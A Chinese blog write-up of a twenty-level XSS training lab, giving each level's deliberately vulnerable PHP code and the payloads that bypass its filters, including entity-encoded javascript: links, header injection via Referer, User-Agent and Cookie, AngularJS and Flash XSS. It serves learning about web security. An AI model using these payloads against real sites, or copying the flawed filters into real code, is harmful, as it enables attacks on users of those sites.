影风博客

XSS挑战小游戏通关笔记

2019-04-26

前言

XSS平台小游戏,是一款不错的XSS靶场,可供学习和深入认识XSS

环境搭建

本游戏使用了Google Chrome浏览器,火狐浏览器(带hackbar插件)。

使用chrome浏览器测试时,chrome默认开启了filter_xss_auditor,需要禁用掉,才能显示xss利用后的效果。可以做如下设置:

windows下,右键桌面或者启动菜单中的Google Chrome快捷键,然后在目标选项,chrome.exe后面加上参数:

–args –disable-xss-auditor

之后重启浏览器,并用管理员身份运行。

源码下载:xss小游戏靶场

提取码:84cm

PS:源码中已将一处被墙的js文件本地化。

网站环境:PHPStudy

level1

code

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

payload:

<script>alert(1);</script>

level2

code

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
payload 闭合后的代码
"><script>alert(1);</script> <input name=keyword value=""><script>alert(1);</script>">
"onclick="window.alert() <input name=keyword value=""onclick="window.alert()">
"><a href="javascript:alert(1)">xss</a> <input name=keyword value=""><a href="javascript:alert(1)">xss</a>">
"><img src=1 onerror="alert(1)" <input name=keyword value=""><img src=1 onerror="alert(1)"">
"><svg/onload=alert(1)> <input name=keyword value=""><svg/onload=alert(1)>">

level3

code

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

对输入进行了htmlspecialchars处理,查阅知htmlspecialchars()函数把以下预定义的字符转换为 HTML实体:

& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >

但是htmlspecialchars默认配置是不过滤单引号的,只有设置了quotestyle时才过滤。

payload 闭合后的代码
'onclick=alert(1)// <input name=keyword value=''onclick=alert(1)//'>
'onclick='window.alert() <input name=keyword value=''onclick='window.alert()'>
'onmouseover='alert(1) <input name=keyword value=''onmouseover='alert(1)'>
'onmouseover=alert(1)// <input name=keyword value=''onmouseover=alert(1)//'>

level4

code:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

防护代码中只将<``>号去掉了。

payload 闭合后的代码
"onclick=alert(1)// <input name=keyword value=""onclick=alert(1)//">
"onclick="alert(1) <input name=keyword value=""onclick="alert(1)">
"onclick="alert(1) <input name=keyword value=""onclick="alert(1)"">
"onclick='alert(1)' <input name=keyword value=""onclick='alert(1)'">
"onclick=window.alert()// <input name=keyword value=""onclick=window.alert()//">
"onclick="window.alert() <input name=keyword value=""onclick="window.alert()">
"onclick="window.alert()" <input name=keyword value=""onclick="window.alert()"">
"onclick='window.alert()' <input name=keyword value=""onclick='window.alert()'">
"onmouseover=alert(1)// <input name=keyword value=""onmouseover=alert(1)//">
"onmouseover="alert(1) <input name=keyword value=""onmouseover="alert(1)">
"onmouseover="alert(1)" <input name=keyword value=""onmouseover="alert(1)"">
"onmouseover='alert(1)' <input name=keyword value=""onmouseover='alert(1)'">

level5

code:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

做了简单的xss防护处理,用<scr_ipt代替<script,用o_n代替on

payload:

"><a href=javascript:alert("xss")>xss</a>//

闭合后的代码:

<input name=keyword  value=""><a href=javascript:alert("xss")>xss</a>//">

level6

code:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

代码防护处理了<script> on src data href等字符,但是没有进行小写转换,因此可以使用大小写绕过。

payload 闭合后的代码
><ScriPt>alert("xss")</script> <input name=keyword value=""><ScriPt>alert("xss")</script>">
"><img Src=x OnError=alert(1)> // <input name=keyword value=""><img Src=x OnError=alert(1)> //">
"><object dAtA="javascript:alert(1)"></object> <input name=keyword value=""><object dAtA="javascript:alert(1)"></object>">
"><a HreF='javascript:alert(1)'>xss</a>// <input name=keyword value=""><a HreF='javascript:alert(1)'>xss</a>//">

level7

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

将传入的值进行强制小写转换,然后将script on src data href等字符替换为空。绕过方式如下:

payload 闭合后的代码
"><scriscriptpt>alert("xss")</scriscriptpt>// <input name=keyword value=""><script>alert("xss")</script>//">
"oonnclick="alert(1)"// <input name=keyword value=""onclick="alert(1)"//">
"><img srSrcc=x oOnnError=alert(1)>// <input name=keyword value=""><img src=x onerror=alert(1)>//">
"><object dadAtAta="javascriscriptpt:alert(1)"></object> <input name=keyword value=""><object data="javascript:alert(1)"></object>">
"><a hrHreFef='javascriscriptpt:alert(1)'>xss</a>// <input name=keyword value=""><a href='javascript:alert(1)'>xss</a>//">

level8

code:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

$str变量严格控制过滤,但是对$str7存在绕过的可能性:使用javscript伪协议,并进行适当的的编码。

payload:

javascri&#x0070;t:alert(1)
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

与之对应的原语句为:

javascript:alert(1)

level9

code:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

使用strpos()函数检查了GET方式传入的值是否含有http://,在$str7的位置依旧存在绕过的可能性。

payload1:

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert('http://')

原语句:

javascript:alert('http://')

payload2:

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;/*http://www.baidu.com*/ 

原语句:

javascript:alert(1)/*http://www.baidu.com*/

level10

http://localhost/XSS/level10.php?keyword=well%20done!
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

发现只能从$str33处进行触发,因此传入t_sort值,用type="text"覆盖掉hidden

payload1:

http://localhost/XSS/level10.php?keyword=well%20done!&t_sort="onclick=alert(1) type="text"

闭合后的代码:

<input name="t_sort" value=""onclick=alert(1) type="text"" type="hidden">

payload2:

http://localhost/xss/level10.php?keyword=well done!&t_sort=" accesskey="X" onclick="alert(1)"//

然后使用ALT+shift+X触发弹窗

闭合后的代码:

<input name="t_sort" value="" accesskey="X" onclick="alert(1)"//" type="hidden">

level11

http://localhost/xss/level11.php?keyword=good%20job!

code:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

依旧在$str3处可进行绕过,发现传入的是HTTP_REFERER值,并过滤掉了<``>,因此可用on语句来绕过,可以抓包添加http文件头Referer值:

Referer: " onmouseover=alert(1) type="text"
Referer: " onclick=alert(1) type=text//

此处我使用了hackbar插件:

闭合后的代码为:

<input name="t_ref" value="" onclick=alert(1) type=text//" type="hidden">

level12

code:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

抓包修改User-Agent

User-Agent: " onmouseover=alert(1) type="text"
User-Agent: " onclick=alert(1) type=text//

闭合后的代码为:

<input name="t_ua" value="" onclick=alert(1) type=text//" type="hidden">

level13

code:

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

依旧是在$str33处触发,寻找到是通过cookie中传入user值。
因此修改cookie值:

Cookie:user= " onmouseover=alert(1) type="text"
Cookie:user= " onclick=alert(1) type=text//

闭合后的代码为:

<input name="t_cook" value="" onclick=alert(1) type=text//" type="hidden">

level14

code:

<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>

….level14崩了,我们看一下大佬的payload:

"><img src=1 onerror=alert(1)>

百度得出答案,这里用的是乌云爆出的exif viewer的漏洞,原理是通过修改图片的exif信息,

造成解析图片exif触发XSS。利用工具推荐exiftool

level15

http://localhost/xss/level15.php?src=1.gif

code:

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

使用了AngularJS ng-include指令,ng-include指令用于包含外部的HTML文件。包含的内容将作为指定元素的子节点。默认情况下,包含的文件需要包含在同一个域名下。

因此可以调用第一关的level1.php。直接在包含的页面里用<script>触发不了,可以用img标签。htmlspecialchars默认不过滤单引号,因此构造的payload如下:

payload

http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

level16

http://localhost/xss/level16.php?keyword=test

code:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

script 空格 /处理为转义字符&nbsp

一种思路:使用%0d %0a做分割符,构造payload:

http://localhost/xss/level16.php?keyword=<img%0dsrc=1%0donerror=alert(1)>


http://localhost/xss/level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert(1)></iframe>

http://localhost/xss/level16.php?keyword=<svg%0aonload=alert(1)></svg>

另一种思路:

根据浏览器对编码解析的顺序:

URL解析->HTML解析->CSS解析->JS解析

构造payload

http://localhost/xss/level16.php?keyword=<a%0ahref=javasc%26%23%78%37%32%3Bipt:alert(1)>a

先发生url解析,产生闭合后的代码:

<center><a
href=javasc&#x72;ipt:alert(1)>a</center>

再进行html解析,最后JS解析,触发xss

level17

http://localhost/xss/level17.php?arg01=a&arg02=b

code:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

过滤了尖括号和双引号,用on事件触发,payload如下:

http://localhost/xss/level17.php?arg01=a&arg02=b onmouseover=alert(1)
http://localhost/xss/level17.php?arg01=a&arg02=b onmousedown=alert(1)

(谷歌浏览器测试成功)

level18

http://localhost/xss/level18.php?arg01=a&arg02=b

code:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

过滤了尖括号和双引号,用on事件触发,payload如下:

http://localhost/xss/level18.php?arg01=a&arg02=b onmouseover=alert(1)

http://localhost/xss/level18.php?arg01=a&arg02=b onmouseout=alert(1)

(谷歌浏览器测试成功)

level19

http://localhost/xss/level19.php?arg01=a&arg02=b

code:

<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

这一关开始是flash xss了,首先下载页面中的flash,对源码进行分析,本次使用了JPEXS这款工具。发现是actionscript 2.0,首先定位getURL函数:

...
sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));

再追踪到sIFR的内容,省略了一些代码,关键代码如下:

...
if(_loc5_ && _root.version != sIFR.VERSION)
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}

得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,故定位以下函数:

function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
}

所以构造最终payload如下:

http://localhost/xss/level19.php?arg01=version&arg02=<a href="javascript:alert(document.domain)">xss</a>

(谷歌浏览器测试成功)

level20

http://localhost/xss/level20.php?arg01=a&arg02=b

code:

<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

payload:

http://localhost/xss/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

(谷歌浏览器测试成功)

level19 level20参考网上的,留着供研究参考。

(彩蛋)十秒过关

F12web调试控制台,每关输入alert(1)。像我这样单身的手速,十秒即可过掉全部关卡~

原理在于:只要出现警告对话框,就会触发定义的js函数,提示进入下一关。大家应该都明白的。

Tags: XSS
使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章